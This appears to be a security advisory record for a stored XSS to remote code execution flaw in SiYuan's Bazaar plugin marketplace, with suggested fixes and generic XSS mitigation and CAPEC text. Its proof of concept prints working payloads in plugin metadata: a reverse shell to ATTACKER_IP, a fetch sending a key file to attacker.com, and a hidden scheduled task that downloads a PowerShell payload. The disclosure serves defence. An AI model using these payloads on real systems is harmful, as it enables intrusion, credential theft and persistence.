// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>
2. Server-side sanitization in the Bazaar index pipeline
Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil {
return
}
for k, v := range pkg.DisplayName {
pkg.DisplayName[k] = html.EscapeString(v)
}
for k, v := range pkg.Description {
pkg.Description[k] = html.EscapeString(v)
}
}
3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260317012524-fe4523fff2c8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33067"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T16:09:34Z",
"nvd_published_at": "2026-03-20T09:16:14Z",
"severity": "MODERATE"
},
"details": "# Stored XSS to RCE via Unsanitized Bazaar Package Metadata\n\n## Summary\n\nSiYuan\u0027s Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan\u0027s Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim\u0027s operating system \u2014 with zero user interaction beyond opening the marketplace tab.\n\n## Affected Component\n\n- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`\n- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n\n## Affected Versions\n\n- SiYuan \u003c= 3.5.9\n\n## Severity\n\n**Critical** \u2014 CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n\n## Vulnerable Code\n\nIn `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:\n\n```typescript\n// Package name injected directly \u2014 NO escaping\n${item.preferredName}${item.preferredName !== item.name\n ? ` \u003cspan class=\"ft__on-surface ft__smaller\"\u003e${item.name}\u003c/span\u003e` : \"\"}\n\n// Package description \u2014 title attribute uses escapeAttr(), but text content does NOT\n\u003cdiv class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\"\u003e\n ${item.preferredDesc || \"\"} \u003c!-- UNESCAPED HTML --\u003e\n\u003c/div\u003e\n```\n\nThe inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not \u2014 indicating the risk was partially recognized but incompletely mitigated.\n\nThe Electron renderer at `app/electron/main.js:422-426` is configured with:\n\n```javascript\nwebPreferences: {\n nodeIntegration: true,\n contextIsolation: false,\n // ...\n}\n```\n\nThis means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require(\u0027child_process\u0027)`, `require(\u0027fs\u0027)`, and `require(\u0027os\u0027)`.\n\n## Proof of Concept\n\n### Step 1: Create a malicious plugin manifest\n\nCreate a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:\n\n```json\n{\n \"name\": \"helpful-productivity-plugin\",\n \"displayName\": {\n \"default\": \"Helpful Plugin\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\\\"\u003e\"\n },\n \"description\": {\n \"default\": \"Boost your productivity with smart templates\"\n },\n \"version\": \"1.0.0\",\n \"author\": \"attacker\",\n \"url\": \"https://github.com/attacker/helpful-productivity-plugin\",\n \"minAppVersion\": \"2.0.0\"\n}\n```\n\n### Step 2: Submit to Bazaar\n\nSubmit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).\n\n### Step 3: Zero-click RCE\n\nWhen **any** SiYuan desktop user navigates to **Settings \u003e Bazaar \u003e Plugins**, the package listing renders the malicious `displayName`. The `\u003cimg src=x\u003e` tag fails to load, firing the `onerror` handler, which calls `require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)`.\n\n**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.\n\n### Escalation: Reverse shell\n\n```json\n{\n \"displayName\": {\n \"default\": \"Helpful Plugin\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027bash -c \\\\\\\"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/4444 0\u003e\u00261\\\\\\\"\u0027)\\\"\u003e\"\n }\n}\n```\n\n### Escalation: Data exfiltration (API token theft)\n\n```json\n{\n \"displayName\": {\n \"default\": \"\u003cimg src=x onerror=\\\"fetch(\u0027https://attacker.com/exfil?token=\u0027+require(\u0027fs\u0027).readFileSync(require(\u0027path\u0027).join(require(\u0027os\u0027).homedir(),\u0027.config/siyuan/cookie.key\u0027),\u0027utf8\u0027))\\\"\u003e\"\n }\n}\n```\n\n### Escalation: Silent persistence (Windows)\n\n```json\n{\n \"displayName\": {\n \"default\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027schtasks /create /tn SiYuanUpdate /tr \\\\\\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\\\\\\\\\"https://attacker.com/payload.ps1\\\\\\\\\\\\\\\")\\\\\\\" /sc onlogon /rl highest /f\u0027)\\\"\u003e\"\n }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.\n2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.\n3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.\n4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.\n5. The injected `\u003cimg onerror\u003e` (or `\u003csvg onload\u003e`, `\u003cdetails ontoggle\u003e`, etc.) fires automatically.\n6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).\n7. The attacker achieves arbitrary OS command execution \u2014 reverse shell, data exfiltration, persistence, ransomware, etc.\n\n**The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient.\n\n## Impact\n\n- **Full remote code execution** on any SiYuan desktop user who browses the Bazaar\n- **Zero-click** \u2014 payload fires on page load, no interaction required\n- **Supply-chain attack** \u2014 targets the entire SiYuan user community via the official marketplace\n- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files\n- Can install persistent backdoors, scheduled tasks, or ransomware\n- Affects all platforms: Windows, macOS, Linux\n\n## Suggested Fix\n\n### 1. Escape all package metadata in template rendering (`bazaar.ts`)\n\n```typescript\nfunction escapeHtml(str: string): string {\n return str.replace(/\u0026/g, \u0027\u0026amp;\u0027).replace(/\u003c/g, \u0027\u0026lt;\u0027)\n .replace(/\u003e/g, \u0027\u0026gt;\u0027).replace(/\"/g, \u0027\u0026quot;\u0027)\n .replace(/\u0027/g, \u0027\u0026#039;\u0027);\n}\n\n// Apply to ALL user-controlled metadata before rendering\n${escapeHtml(item.preferredName)}\n\u003cdiv class=\"b3-card__desc\"\u003e${escapeHtml(item.preferredDesc || \"\")}\u003c/div\u003e\n```\n\n### 2. Server-side sanitization in the Bazaar index pipeline\n\nSanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:\n\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil {\n return\n }\n for k, v := range pkg.DisplayName {\n pkg.DisplayName[k] = html.EscapeString(v)\n }\n for k, v := range pkg.Description {\n pkg.Description[k] = html.EscapeString(v)\n }\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n nodeIntegration: false,\n contextIsolation: true,\n sandbox: true,\n}\n```",
"id": "GHSA-mvpm-v6q4-m2pf",
"modified": "2026-03-20T21:23:43Z",
"published": "2026-03-18T16:09:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvpm-v6q4-m2pf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33067"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.